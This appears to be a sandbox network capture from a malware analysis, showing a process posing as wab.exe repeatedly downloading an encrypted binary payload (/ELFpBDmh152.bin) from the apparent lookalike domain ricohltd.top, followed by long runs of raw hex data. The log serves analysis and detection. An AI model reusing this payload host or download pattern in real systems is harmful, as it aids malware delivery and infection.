2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 3b 93 63 09 ec 10 21 48 50 e9 48 80 ca 10 01 4d 19 74 3e 02 a4 e0 ef fe f0 de 70 dd 31 cd da 12 e8 f9 d2 2d 82 89 9e 7f a3 99 5d 5e 03 90 a8 db 01 69 f5 bc 8d 26 5d 11 dd 06 f1 84 7c ac 98 78 ab 7b a8 7a 7b be 3a cf 7b 35 61 d4 29 28 8b b2 24 69 8f e7 3f 39 9c 62 b0 45 1e a7 a6 0c 9a 3a ae 9c 72 f6 de 82 9b 8c d4 bb 65 28 ee b9 ee a7 a7 20 00 83 70 36 18 9d d9 80 df 70 64 1f 2c 1c 37 a5 71 b8 46 9c f5 2f 32 13 1a ab 5c 3f 79 32 ac 45 fc 85 fc ab 73 f8 26 67 8c 8c d3 bf 0a 70 a6 cd f9 07 4f cc c7 e7 27 ef ff bc c9 cc 6b 2c 1f 21 b8 b2 99 2a e1 4d 4c 63 c6 ce 6f a6 f1 56 d3 64 b8 47 a9 21 49 b5 e8 67 ff 33 3b 08 dd 29 88 13 01 6d c9 21 21 fd 22 4d 7b 6b 8d 68 46 9e 74 9e e7 52 0b b4 5f 91 ac 58 6f b3 29 7c 01 4c 9b 9c 0e df 20 09 50 19 46 03 e6 e2 9a b1 4f Data Ascii: ;c!HPHMt>p1-]^i&]\|x{z{:{5a)($i?9bE:re( p6pd,7qF/2\?y2Es&gpO'k,!*MLcoVdG!Ig3;)m!!"M{khFtR_Xo)\|L PFO
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 63 60 b9 b5 34 8a aa 4e 28 fa 36 a3 ac ed f6 3d 89 5a dd a5 e4 9e 93 e7 ea a8 08 91 63 c7 8b df b2 8d e7 69 3d 11 ad 84 1a fd 89 97 ce af 7d 10 27 19 31 c1 f2 d6 50 52 b4 42 98 7e a7 20 05 fa 61 72 cf 5a 54 8f 9c a8 bf bf 5c 8f eb f8 72 b1 cc c6 03 04 a6 64 9d b0 db ca 3f c7 e5 58 a2 16 9a 74 fb 86 d3 d6 1a 37 36 32 4e cd 5d 5a 64 d2 48 77 2f 3b 01 51 2c ff 00 a8 b6 bd e6 e1 fa 47 bb a9 69 9a a0 02 91 4c b2 85 8f 65 44 5f 49 f8 9a 26 36 c6 52 c3 f1 e3 fc 5d aa d4 5d f0 ca ff 06 88 6a a9 86 7a ad 46 87 6b e5 df 40 ce 28 cb 3f c8 0b bc 45 59 8b 3e 20 eb ea e4 b1 93 f6 e3 74 d5 0e 5c 1a 43 4a 49 37 a0 ee 84 68 d1 96 f6 bc 8a 61 a3 9e 22 f1 2a bc 3e 7f ce d1 ed b4 36 39 be 3e 0f 57 ca be ea 23 a7 50 24 2a 09 37 4d 2c e8 68 e6 4a b9 49 55 20 bc 57 aa 38 14 53 Data Ascii: c`4N(6=Zci=}'1PRB~ arZT\rd?Xt762N]ZdHw/;Q,GiLeD_I&6R]]jzFk@(?EY> t\CJI7ha">69>W#P$7M,hJIU W8S
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: fa 68 5f d1 00 ea 21 cd ec e5 e8 14 d4 ea d2 bd 45 d2 12 46 87 b2 d5 97 8f 61 61 07 5a 8f a5 c9 47 82 94 23 85 4b 5b c5 10 b5 75 74 de 46 0e 01 9d 86 a1 f7 b8 97 68 9e a6 f3 e4 f7 4c 11 a9 71 24 97 a7 4d 76 1b a0 da 91 ac b1 9f 62 5e ff ea 5f 81 75 51 32 72 8b c9 08 d9 4c 00 df f3 bf e3 4d c7 9c 90 c3 5e 4b 20 d0 fc b1 ec 5e d7 a1 c9 ed e8 7d b5 64 9b 72 bb 22 92 6c 12 8c c6 fa 4e f3 88 75 53 86 d4 37 06 15 1f b2 ce eb 93 5d 8d 22 99 06 0a 67 c8 c0 41 b0 97 1c d2 73 80 fa 96 49 5d a3 3c ed 8f 06 d1 66 d5 2b 97 95 c5 90 43 fe bf 5b 6b 3e 96 2c af 90 ed 5a 6a 97 99 eb 47 32 08 60 14 6c 88 e7 42 6c 74 bf cc 9e f2 48 7a 12 5f b8 f6 b3 8d ec 01 ba 4f 71 26 c5 c2 2f a3 aa 79 5e 3d c1 cc a2 b9 20 90 08 ce 9e e5 a1 da 40 52 1c 80 06 48 4b 48 de 4a 25 20 c3 55 5f Data Ascii: h_!EFaaZG#K[utFhLq$Mvb^_uQ2rLM^K ^}dr"lNuS7]"gAsI]<f+C[k>,ZjG2`lBltHz_Oq&/y^= @RHKHJ% U_
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 7a 36 d9 f0 ef 53 49 63 4f f8 17 5e 75 8c fb aa 0a 5c 11 78 2d e1 a3 15 a4 55 43 e1 5e 81 54 05 cf dc 26 17 79 c8 f8 7c 16 9d f2 22 b7 18 df df b6 37 d0 31 4f 36 8c 31 e1 79 b9 9d 01 df ed 69 51 31 f8 71 26 45 11 c7 af a9 9a db 39 02 5e a9 0e 9d 7c 93 09 28 9e 37 21 8b c4 e3 8c f1 24 c7 91 a7 c9 ec 56 a2 f1 78 b7 07 80 42 53 3f 82 a3 fc ca 6b 98 83 46 d7 4a 32 5c f7 9f 0a 57 34 e1 e0 67 6a ca 47 e7 1e 27 9e 35 2b 0f 59 ad f9 5f b5 5b 22 68 36 93 8c 67 cc 04 43 bc 33 9f 48 c4 30 6d b6 f7 e6 fe ec 2f 21 00 31 e2 fa 63 22 8a 93 71 57 ad f7 ce 4d 9d bf 9c 88 a6 9a e0 68 d1 0e a4 ce 5d a5 f6 1f 00 53 18 be 40 47 06 a8 00 e0 9e 31 ec 03 67 75 12 a0 71 66 1d cb 1d f8 43 ae d5 21 e0 21 f3 46 be 75 45 25 05 a8 39 dc e9 8d e2 d9 84 08 88 be 2c 73 97 b3 28 eb 92 73 Data Ascii: z6SIcO^u\x-UC^T&y\|"71O61yiQ1q&E9^\|(7!$VxBS?kFJ2\W4gjG'5+Y_["h6gC3H0m/!1c"qWMh]S@G1guqfC!!FuE%9,s(s
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: a7 63 8c 43 c3 4c 3c 3a 80 85 b4 cb bc 3c 6a 04 5e 83 84 74 35 3f 38 ec 57 01 76 ab a2 7c 39 66 13 88 bf 2f f3 fd 56 a6 7c 5f 53 e9 06 25 34 5e 1d ad 5b 50 28 b1 ac af e4 e4 f7 48 85 fd bc 8f 17 dd 20 f9 e2 ba de 5b a0 29 aa ab 60 7d fa bf eb 75 8b 5f cc 97 c6 21 28 da d1 7f 65 a2 59 65 fb 98 6d dd 18 1f a7 a6 15 f1 ca af 93 f7 d9 1d 86 9b e5 c2 3f 4f 6f 56 12 31 03 26 2c 63 fe 61 32 f1 e1 26 95 db 68 6d 3b d7 c0 cf ce 36 b8 95 c5 d2 6a cd 8f 67 a2 b4 df ce 73 b3 88 7f 89 b3 23 57 46 27 0d 8d 25 cd bb f9 ed 7f c2 95 ff cc 08 9b 73 49 fd 2f eb 1c 74 14 62 10 cd 97 71 ca 7f 5f b8 91 e8 2f c9 b2 d7 81 8d 61 9b ca 40 46 12 b9 5d 2b 7a e5 d9 b0 74 a0 b6 73 6e 06 86 bd 97 d4 02 35 30 a8 1d a5 ba 02 a6 8c e7 3c 2d 80 7b d4 89 e2 ef 9a 4c 8f 7c 1a ea 27 50 f3 c2 Data Ascii: cCL<:<j^t5?8Wv\|9f/V\|_S%4^[P(H [)`}u_!(eYem?OoV1&,ca2&hm;6jgs#WF'%sI/tbq_/a@F]+ztsn50<-{L\|'P
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: 09 4d ba d7 86 87 cf 43 bf d8 a3 8b 11 c5 06 ef f2 cf f5 21 12 7a 2e e0 c9 b6 5e 5e b3 05 a6 5a 16 32 66 b4 a8 25 47 77 3f ff 49 b2 18 8d b6 1f ca 88 15 d8 67 8d 68 db 29 e1 55 ce 95 a1 73 4a 5d fc ef b1 c9 91 2f 8f 8c 19 10 e4 76 6e 15 7f 43 d0 da 44 a1 9d 74 54 3a d5 3d 0f 6f fc c8 99 2e 8b 9f 9c ca 17 52 44 53 86 b1 29 5f 7e 82 70 a3 c0 8f c9 32 0d f2 42 63 40 ac e3 d0 87 e6 2f 88 94 00 74 73 62 e9 d7 c2 88 7f bb a1 69 6c 4e fd 6e 39 c1 eb 1c 76 af 08 49 8c 1f ea a7 3a 26 e7 66 5f 5f 50 91 16 c2 10 41 31 ee 11 e3 f5 a2 01 32 0d 31 fd 19 ab 7e f3 58 ef cf 8f c7 ef ad 51 97 10 dd 60 24 d7 ae 06 86 0d 63 a6 de 35 3e 32 92 d2 e9 6d af 6c 21 58 50 b1 37 d1 84 98 39 ea fe ac 51 d6 89 cc fa a9 14 e2 66 5f 34 2e 8f ea d4 8a 9e 64 81 ad e4 e1 4e a8 3b 7e f2 aa Data Ascii: MC!z.^^Z2f%Gw?Igh)UsJ]/vnCDtT:=o.RDS)_~p2Bc@/tsbilNn9vI:&f__PA121~XQ`$c5>2ml!XP79Qf_4.dN;~
2024-05-01 16:20:41 UTC	1369	IN	Data Raw: e1 04 5b 9b 05 45 71 30 bc 32 38 10 88 42 e3 fb 15 f6 58 ce de e8 2c d4 e2 d2 aa 31 2d 12 92 6a 4d 2a 4c ec 24 46 0c ce 70 52 b9 a3 3a 9b bd a7 4b 2f 4e 95 e8 a9 80 42 87 ef 8b 43 5d e4 d4 3f a3 6a 9e d4 af 37 25 65 e1 13 2b 6b 55 4f a6 ce 3e 00 cc 91 d8 11 fc 9e d5 e8 d6 49 67 01 4d fe 64 6e 85 e1 7f e3 88 d7 90 f0 4d 5a 7a fe a7 d4 61 ae 28 0d 80 68 6f 11 14 c2 9d 46 ff c6 ce 50 ef df 0c 38 aa cd b6 c5 c0 71 0e b4 70 e2 68 7a 2b fb 06 41 dc 6c 8a 6d 10 4a 81 aa fc f7 0c dc 27 6f f6 01 22 b8 ef fc cd 72 67 69 11 f3 82 ce a2 8d 7c 6c 64 6d 8e 6a b0 0b 64 08 88 a3 cd 92 3c 58 ea 35 bc 2a 91 20 4a 7f 1b fa f7 14 7f 23 c1 ba 09 24 50 fe eb d8 86 60 7a 16 5a 06 2d ec 06 15 b0 e7 f5 66 da bc 49 f4 08 e5 39 f1 1a 1c ea 1d 07 20 1b d3 ae 52 37 d7 ea ec 31 fa 98 Data Ascii: [Eq028BX,1-jML$FpR:K/NBC]?j7%e+kUO>IgMdnMZza(hoFP8qphz+AlmJ'o"rgi\|ldmjd<X5 J#$P`zZ-fI9 R71

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49204	172.67.191.112	443	2208	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 16:22:20 UTC	172	OUT	GET /ELFpBDmh152.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: ricohltd.top Cache-Control: no-cache
2024-05-01 16:22:20 UTC	841	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 16:22:20 GMT Content-Type: application/octet-stream Content-Length: 494656 Connection: close Last-Modified: Mon, 22 Apr 2024 16:13:43 GMT ETag: "66268cb7-78c40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 35249 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b8zgJxnkNsIXA5Rbi4jtvqk3xmTIwFJssm4Ys%2FDOA1g4ge7e09lbL%2BgDgxwq7udfdaNQZV%2BkSOz4sRcZeaKX07If1r4T8zi1YmKd%2BnK55jGokAMktju7dJgMQAJVjNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 87d11c1bb8c18029-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 16:22:20 UTC	528	IN	Data Raw: 41 72 91 d5 46 b0 aa d4 92 e6 3b ac b2 fa b1 d5 61 b6 e9 00 60 78 08 4f 4a 8f 3d 46 27 86 fe 9e 18 4d 44 02 3c 05 fa f3 0c cf f2 72 31 c3 b2 50 07 c0 a5 d6 ac 76 3d 61 bb 8b 48 fb 36 8e 2c a8 37 27 6e ff f7 c8 58 11 f7 e3 09 a3 ee 5b 55 8f 31 12 df 12 05 27 01 0f 54 79 04 7b 00 32 99 f2 71 3c c1 ab f6 5e bf 29 ce b0 0f c8 15 e9 0b a7 cb 8a 14 05 13 a8 ce 07 fa ed ce e1 27 c6 50 65 2a 25 88 6b dd 9e 98 ef c4 b5 99 d3 11 02 ed 6c d1 3d d5 54 e3 a9 4b 42 65 c7 86 92 19 52 1d cb 3a f8 92 dc 45 fc e7 ed 33 14 d7 08 37 4d 7c c4 79 aa db 63 36 12 95 eb 21 b8 d7 48 cf 07 36 2b 6b 29 24 54 03 6b 9e 5c 3c d3 c5 0c 57 45 cb b6 e7 bd a8 cf 08 35 33 07 e8 80 e3 62 a7 99 13 1f 1c 9d ac cf 4e 96 5b c2 88 f0 69 46 b6 13 c2 39 f0 d0 f2 16 f3 71 87 ef df 94 e0 3e f8 a1 cd Data Ascii: ArF;a`xOJ=F'MD<r1Pv=aH6,7'nX[U1'Ty{2q<^)'Pe*%kl=TKBeR:E37M\|yc6!H6+k)$Tk\<WE53bN[iF9q>
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: 1c 1d 1b fa 42 83 b2 d5 1c 67 ea ae 84 27 8f ad ba f4 6f 73 21 7e b4 d0 cd 51 e4 fe bb 36 a3 f3 fe 62 d6 2a 3c 50 4a 95 61 59 a3 0c a0 be ee 56 dc 94 fe 34 11 9e d6 5d 50 1f 22 41 14 b9 08 17 29 d0 7b 8a 01 de 78 86 c9 08 80 1c 8b 14 1b 3e 1d b2 38 17 78 2b 31 26 0e a2 1b f6 98 b4 18 49 e5 6a 16 82 3e 3f 15 82 53 c9 6d 93 ed 71 d5 71 85 7a 98 9d 87 85 d4 37 8d 40 1f 39 41 81 93 77 a3 cf e8 9a e0 99 37 3f 5a b3 ca 47 10 67 87 7a ea 63 59 a3 6a 96 78 72 83 35 3d 86 94 95 c5 1b 9b 7d 84 4b 59 7a c3 67 4f 0c d8 d4 95 68 1a 97 6a 26 08 eb fc 97 ca e7 cb 2a 50 af ba 75 0b 3c 5e 06 0f 50 7a bf 8d ec 58 ea 1a 99 65 37 3d 10 0e 09 13 bc 5a 39 02 e2 d9 dd e4 2c da f6 10 5c 25 bb d9 d4 68 79 4c 4b 48 83 11 ae ee 2b 0f 5c d9 e3 78 0a 9d 2a 31 bf 3b b1 bc 00 3e d7 fb Data Ascii: Bg'os!~Q6b<PJaYV4]P"A){x>8x+1&Ij>?Smqqz7@9Aw7?ZGgzcYjxr5=}KYzgOhj&Pu<^PzXe7=Z9,\%hyLKH+\x*1;>
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: f4 c8 30 88 73 a6 09 4b 2a 90 56 8f d0 d1 66 f2 51 60 01 e7 8a 74 04 7b 68 91 19 b7 71 d4 e4 9f f5 5e e6 ea 77 c8 5a 8f 15 01 83 aa cb 8a 7c a8 93 ed ce ef f5 d9 cd e1 76 04 3a 65 9d c2 66 22 dd c2 19 11 e5 0d f0 28 5c 66 b9 ec 4f 7d f6 24 c8 05 46 30 bd 32 f3 b6 78 d4 03 97 4e d8 98 78 e5 cb 92 6b cc 4e ba 28 2a c1 96 fc 42 82 bf ee 5a 12 98 e1 6d 73 57 0d cf ef ff 18 0c b2 c6 ba ca fe 70 23 1c 43 10 cb 47 e9 59 c8 9b e6 bf b1 3b a7 33 f9 39 e6 2d b0 13 60 c6 38 4b 91 8b 08 20 34 c9 bc 49 57 0b 38 97 81 c8 c7 0b 8a 08 fc e2 88 52 c8 91 89 d6 17 85 5b f0 14 7f b9 f9 3f 25 35 50 dd 55 2b bc c6 ea 06 4d 54 f0 94 d7 b5 54 d3 2d e8 26 0c ff c6 72 05 bd a5 2a 55 c6 7a 29 23 82 f9 13 e4 1f 01 bd 6c c9 c7 d8 c6 c2 32 21 15 64 16 47 9b b9 ff d3 98 5d 39 dd ef 97 Data Ascii: 0sKVfQ`t{hq^wZ\|v:ef"(\fO}$F02xNxkN(BZmsWp#CGY;39-`8K 4IW8R[?%5PU+MTT-&r*Uz)#l2!dG]9
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: ec 10 21 48 50 e9 48 80 ca 10 01 4d 19 74 3e 02 a4 e0 ef fe f0 de 70 dd 31 cd da 12 e8 f9 d2 2d 82 89 9e 7f a3 99 5d 5e 03 90 a8 db 01 69 f5 bc 8d 26 5d 11 dd 06 f1 84 7c ac 98 78 ab 7b a8 7a 7b be 3a cf 7b 35 61 d4 29 28 8b b2 24 69 8f e7 3f 39 9c 62 b0 45 1e a7 a6 0c 9a 3a ae 9c 72 f6 de 82 9b 8c d4 bb 65 28 ee b9 ee a7 a7 20 00 83 70 36 18 9d d9 80 df 70 64 1f 2c 1c 37 a5 71 b8 46 9c f5 2f 32 13 1a ab 5c 3f 79 32 ac 45 fc 85 fc ab 73 f8 26 67 8c 8c d3 bf 0a 70 a6 cd f9 07 4f cc c7 e7 27 ef ff bc c9 cc 6b 2c 1f 21 b8 b2 99 2a e1 4d 4c 63 c6 ce 6f a6 f1 56 d3 64 b8 47 a9 21 49 b5 e8 67 ff 33 3b 08 dd 29 88 13 01 6d c9 21 21 fd 22 4d 7b 6b 8d 68 46 9e 74 9e e7 52 0b b4 5f 91 ac 58 6f b3 29 7c 01 4c 9b 9c 0e df 20 09 50 19 46 03 e6 e2 9a b1 4f c8 fd c6 8a Data Ascii: !HPHMt>p1-]^i&]\|x{z{:{5a)($i?9bE:re( p6pd,7qF/2\?y2Es&gpO'k,!*MLcoVdG!Ig3;)m!!"M{khFtR_Xo)\|L PFO
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: 34 8a aa 4e 28 fa 36 a3 ac ed f6 3d 89 5a dd a5 e4 9e 93 e7 ea a8 08 91 63 c7 8b df b2 8d e7 69 3d 11 ad 84 1a fd 89 97 ce af 7d 10 27 19 31 c1 f2 d6 50 52 b4 42 98 7e a7 20 05 fa 61 72 cf 5a 54 8f 9c a8 bf bf 5c 8f eb f8 72 b1 cc c6 03 04 a6 64 9d b0 db ca 3f c7 e5 58 a2 16 9a 74 fb 86 d3 d6 1a 37 36 32 4e cd 5d 5a 64 d2 48 77 2f 3b 01 51 2c ff 00 a8 b6 bd e6 e1 fa 47 bb a9 69 9a a0 02 91 4c b2 85 8f 65 44 5f 49 f8 9a 26 36 c6 52 c3 f1 e3 fc 5d aa d4 5d f0 ca ff 06 88 6a a9 86 7a ad 46 87 6b e5 df 40 ce 28 cb 3f c8 0b bc 45 59 8b 3e 20 eb ea e4 b1 93 f6 e3 74 d5 0e 5c 1a 43 4a 49 37 a0 ee 84 68 d1 96 f6 bc 8a 61 a3 9e 22 f1 2a bc 3e 7f ce d1 ed b4 36 39 be 3e 0f 57 ca be ea 23 a7 50 24 2a 09 37 4d 2c e8 68 e6 4a b9 49 55 20 bc 57 aa 38 14 53 65 4e aa 61 Data Ascii: 4N(6=Zci=}'1PRB~ arZT\rd?Xt762N]ZdHw/;Q,GiLeD_I&6R]]jzFk@(?EY> t\CJI7ha">69>W#P$7M,hJIU W8SeNa
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: 00 ea 21 cd ec e5 e8 14 d4 ea d2 bd 45 d2 12 46 87 b2 d5 97 8f 61 61 07 5a 8f a5 c9 47 82 94 23 85 4b 5b c5 10 b5 75 74 de 46 0e 01 9d 86 a1 f7 b8 97 68 9e a6 f3 e4 f7 4c 11 a9 71 24 97 a7 4d 76 1b a0 da 91 ac b1 9f 62 5e ff ea 5f 81 75 51 32 72 8b c9 08 d9 4c 00 df f3 bf e3 4d c7 9c 90 c3 5e 4b 20 d0 fc b1 ec 5e d7 a1 c9 ed e8 7d b5 64 9b 72 bb 22 92 6c 12 8c c6 fa 4e f3 88 75 53 86 d4 37 06 15 1f b2 ce eb 93 5d 8d 22 99 06 0a 67 c8 c0 41 b0 97 1c d2 73 80 fa 96 49 5d a3 3c ed 8f 06 d1 66 d5 2b 97 95 c5 90 43 fe bf 5b 6b 3e 96 2c af 90 ed 5a 6a 97 99 eb 47 32 08 60 14 6c 88 e7 42 6c 74 bf cc 9e f2 48 7a 12 5f b8 f6 b3 8d ec 01 ba 4f 71 26 c5 c2 2f a3 aa 79 5e 3d c1 cc a2 b9 20 90 08 ce 9e e5 a1 da 40 52 1c 80 06 48 4b 48 de 4a 25 20 c3 55 5f d9 e3 87 7e Data Ascii: !EFaaZG#K[utFhLq$Mvb^_uQ2rLM^K ^}dr"lNuS7]"gAsI]<f+C[k>,ZjG2`lBltHz_Oq&/y^= @RHKHJ% U_~
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: ef 53 49 63 4f f8 17 5e 75 8c fb aa 0a 5c 11 78 2d e1 a3 15 a4 55 43 e1 5e 81 54 05 cf dc 26 17 79 c8 f8 7c 16 9d f2 22 b7 18 df df b6 37 d0 31 4f 36 8c 31 e1 79 b9 9d 01 df ed 69 51 31 f8 71 26 45 11 c7 af a9 9a db 39 02 5e a9 0e 9d 7c 93 09 28 9e 37 21 8b c4 e3 8c f1 24 c7 91 a7 c9 ec 56 a2 f1 78 b7 07 80 42 53 3f 82 a3 fc ca 6b 98 83 46 d7 4a 32 5c f7 9f 0a 57 34 e1 e0 67 6a ca 47 e7 1e 27 9e 35 2b 0f 59 ad f9 5f b5 5b 22 68 36 93 8c 67 cc 04 43 bc 33 9f 48 c4 30 6d b6 f7 e6 fe ec 2f 21 00 31 e2 fa 63 22 8a 93 71 57 ad f7 ce 4d 9d bf 9c 88 a6 9a e0 68 d1 0e a4 ce 5d a5 f6 1f 00 53 18 be 40 47 06 a8 00 e0 9e 31 ec 03 67 75 12 a0 71 66 1d cb 1d f8 43 ae d5 21 e0 21 f3 46 be 75 45 25 05 a8 39 dc e9 8d e2 d9 84 08 88 be 2c 73 97 b3 28 eb 92 73 21 10 10 ef Data Ascii: SIcO^u\x-UC^T&y\|"71O61yiQ1q&E9^\|(7!$VxBS?kFJ2\W4gjG'5+Y_["h6gC3H0m/!1c"qWMh]S@G1guqfC!!FuE%9,s(s!
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: c3 4c 3c 3a 80 85 b4 cb bc 3c 6a 04 5e 83 84 74 35 3f 38 ec 57 01 76 ab a2 7c 39 66 13 88 bf 2f f3 fd 56 a6 7c 5f 53 e9 06 25 34 5e 1d ad 5b 50 28 b1 ac af e4 e4 f7 48 85 fd bc 8f 17 dd 20 f9 e2 ba de 5b a0 29 aa ab 60 7d fa bf eb 75 8b 5f cc 97 c6 21 28 da d1 7f 65 a2 59 65 fb 98 6d dd 18 1f a7 a6 15 f1 ca af 93 f7 d9 1d 86 9b e5 c2 3f 4f 6f 56 12 31 03 26 2c 63 fe 61 32 f1 e1 26 95 db 68 6d 3b d7 c0 cf ce 36 b8 95 c5 d2 6a cd 8f 67 a2 b4 df ce 73 b3 88 7f 89 b3 23 57 46 27 0d 8d 25 cd bb f9 ed 7f c2 95 ff cc 08 9b 73 49 fd 2f eb 1c 74 14 62 10 cd 97 71 ca 7f 5f b8 91 e8 2f c9 b2 d7 81 8d 61 9b ca 40 46 12 b9 5d 2b 7a e5 d9 b0 74 a0 b6 73 6e 06 86 bd 97 d4 02 35 30 a8 1d a5 ba 02 a6 8c e7 3c 2d 80 7b d4 89 e2 ef 9a 4c 8f 7c 1a ea 27 50 f3 c2 f4 e3 6b e9 Data Ascii: L<:<j^t5?8Wv\|9f/V\|_S%4^[P(H [)`}u_!(eYem?OoV1&,ca2&hm;6jgs#WF'%sI/tbq_/a@F]+ztsn50<-{L\|'Pk
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: 86 87 cf 43 bf d8 a3 8b 11 c5 06 ef f2 cf f5 21 12 7a 2e e0 c9 b6 5e 5e b3 05 a6 5a 16 32 66 b4 a8 25 47 77 3f ff 49 b2 18 8d b6 1f ca 88 15 d8 67 8d 68 db 29 e1 55 ce 95 a1 73 4a 5d fc ef b1 c9 91 2f 8f 8c 19 10 e4 76 6e 15 7f 43 d0 da 44 a1 9d 74 54 3a d5 3d 0f 6f fc c8 99 2e 8b 9f 9c ca 17 52 44 53 86 b1 29 5f 7e 82 70 a3 c0 8f c9 32 0d f2 42 63 40 ac e3 d0 87 e6 2f 88 94 00 74 73 62 e9 d7 c2 88 7f bb a1 69 6c 4e fd 6e 39 c1 eb 1c 76 af 08 49 8c 1f ea a7 3a 26 e7 66 5f 5f 50 91 16 c2 10 41 31 ee 11 e3 f5 a2 01 32 0d 31 fd 19 ab 7e f3 58 ef cf 8f c7 ef ad 51 97 10 dd 60 24 d7 ae 06 86 0d 63 a6 de 35 3e 32 92 d2 e9 6d af 6c 21 58 50 b1 37 d1 84 98 39 ea fe ac 51 d6 89 cc fa a9 14 e2 66 5f 34 2e 8f ea d4 8a 9e 64 81 ad e4 e1 4e a8 3b 7e f2 aa 6e f8 c1 50 Data Ascii: C!z.^^Z2f%Gw?Igh)UsJ]/vnCDtT:=o.RDS)_~p2Bc@/tsbilNn9vI:&f__PA121~XQ`$c5>2ml!XP79Qf_4.dN;~nP
2024-05-01 16:22:20 UTC	1369	IN	Data Raw: 05 45 71 30 bc 32 38 10 88 42 e3 fb 15 f6 58 ce de e8 2c d4 e2 d2 aa 31 2d 12 92 6a 4d 2a 4c ec 24 46 0c ce 70 52 b9 a3 3a 9b bd a7 4b 2f 4e 95 e8 a9 80 42 87 ef 8b 43 5d e4 d4 3f a3 6a 9e d4 af 37 25 65 e1 13 2b 6b 55 4f a6 ce 3e 00 cc 91 d8 11 fc 9e d5 e8 d6 49 67 01 4d fe 64 6e 85 e1 7f e3 88 d7 90 f0 4d 5a 7a fe a7 d4 61 ae 28 0d 80 68 6f 11 14 c2 9d 46 ff c6 ce 50 ef df 0c 38 aa cd b6 c5 c0 71 0e b4 70 e2 68 7a 2b fb 06 41 dc 6c 8a 6d 10 4a 81 aa fc f7 0c dc 27 6f f6 01 22 b8 ef fc cd 72 67 69 11 f3 82 ce a2 8d 7c 6c 64 6d 8e 6a b0 0b 64 08 88 a3 cd 92 3c 58 ea 35 bc 2a 91 20 4a 7f 1b fa f7 14 7f 23 c1 ba 09 24 50 fe eb d8 86 60 7a 16 5a 06 2d ec 06 15 b0 e7 f5 66 da bc 49 f4 08 e5 39 f1 1a 1c ea 1d 07 20 1b d3 ae 52 37 d7 ea ec 31 fa 98 86 b4 b4 3c Data Ascii: Eq028BX,1-jML$FpR:K/NBC]?j7%e+kUO>IgMdnMZza(hoFP8qphz+AlmJ'o"rgi\|ldmjd<X5 J#$P`zZ-fI9 R71<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49205	104.21.60.38	443	2028	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 16:22:29 UTC	172	OUT	GET /ELFpBDmh152.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: ricohltd.top Cache-Control: no-cache
2024-05-01 16:22:29 UTC	847	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 16:22:29 GMT Content-Type: application/octet-stream Content-Length: 494656 Connection: close Last-Modified: Mon, 22 Apr 2024 16:13:43 GMT ETag: "66268cb7-78c40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 35258 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BN29vtvAmJXRcrqIuA3eX6wZOLmT90jn2oyyizkIm2r%2BDHC2sgN0ulEcRHjroVk2Ew7YqN%2BCgoyWxuxlWU7dDjya5nY32j%2FSTy%2F6WrpHzZljPJcUCNAOigCqB%2FfyA%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 87d11c51cee95722-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 16:22:29 UTC	522	IN	Data Raw: 41 72 91 d5 46 b0 aa d4 92 e6 3b ac b2 fa b1 d5 61 b6 e9 00 60 78 08 4f 4a 8f 3d 46 27 86 fe 9e 18 4d 44 02 3c 05 fa f3 0c cf f2 72 31 c3 b2 50 07 c0 a5 d6 ac 76 3d 61 bb 8b 48 fb 36 8e 2c a8 37 27 6e ff f7 c8 58 11 f7 e3 09 a3 ee 5b 55 8f 31 12 df 12 05 27 01 0f 54 79 04 7b 00 32 99 f2 71 3c c1 ab f6 5e bf 29 ce b0 0f c8 15 e9 0b a7 cb 8a 14 05 13 a8 ce 07 fa ed ce e1 27 c6 50 65 2a 25 88 6b dd 9e 98 ef c4 b5 99 d3 11 02 ed 6c d1 3d d5 54 e3 a9 4b 42 65 c7 86 92 19 52 1d cb 3a f8 92 dc 45 fc e7 ed 33 14 d7 08 37 4d 7c c4 79 aa db 63 36 12 95 eb 21 b8 d7 48 cf 07 36 2b 6b 29 24 54 03 6b 9e 5c 3c d3 c5 0c 57 45 cb b6 e7 bd a8 cf 08 35 33 07 e8 80 e3 62 a7 99 13 1f 1c 9d ac cf 4e 96 5b c2 88 f0 69 46 b6 13 c2 39 f0 d0 f2 16 f3 71 87 ef df 94 e0 3e f8 a1 cd Data Ascii: 